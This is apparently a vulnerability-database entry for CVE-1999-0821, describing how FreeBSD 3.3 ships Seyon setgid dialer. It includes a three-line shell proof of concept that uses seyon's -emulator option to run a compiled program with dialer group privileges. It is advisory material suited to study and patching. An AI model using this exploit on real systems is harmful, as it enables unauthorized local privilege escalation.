FreeBSD 3.3 - Seyon SetGID Dialer
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
 | CVE-1999-0821 | 4 Feb 200005:00 | – | cve |
 | CVE-1999-0821 | 4 Feb 200005:00 | – | cvelist |
 | Seyon 2.1 rev. 4b i586-Linux (RedHat 4.0/5.1) - Local Overflow | 15 Jan 200100:00 | – | exploitdb |
 | EUVD-1999-0802 | 7 Oct 202500:30 | – | euvd |
 | CVE-1999-0821 | 8 Nov 199905:00 | – | nvd |
source: https://www.securityfocus.com/bid/838/info
FreeBSD 3.3-RELEASE ships with Seyon, a communications program which is known to have several vulnerabilities which can allow for a malicious user to elevate priviliges. The vulnerability, however, is that seyon is still installed setgid dialer in FreeBSD. When seyon is exploited, a local user can grant him/herself priviliges which allow access to the communications devices or anything else accessable by the group dialer.
One of the methods to exploit seyon is shown below:
bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' > id.c
bash-2.03$ gcc -o id id.c
bash-2.03$ seyon -emulator ./id
uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer), 1000(xnec)Data
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22 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.00769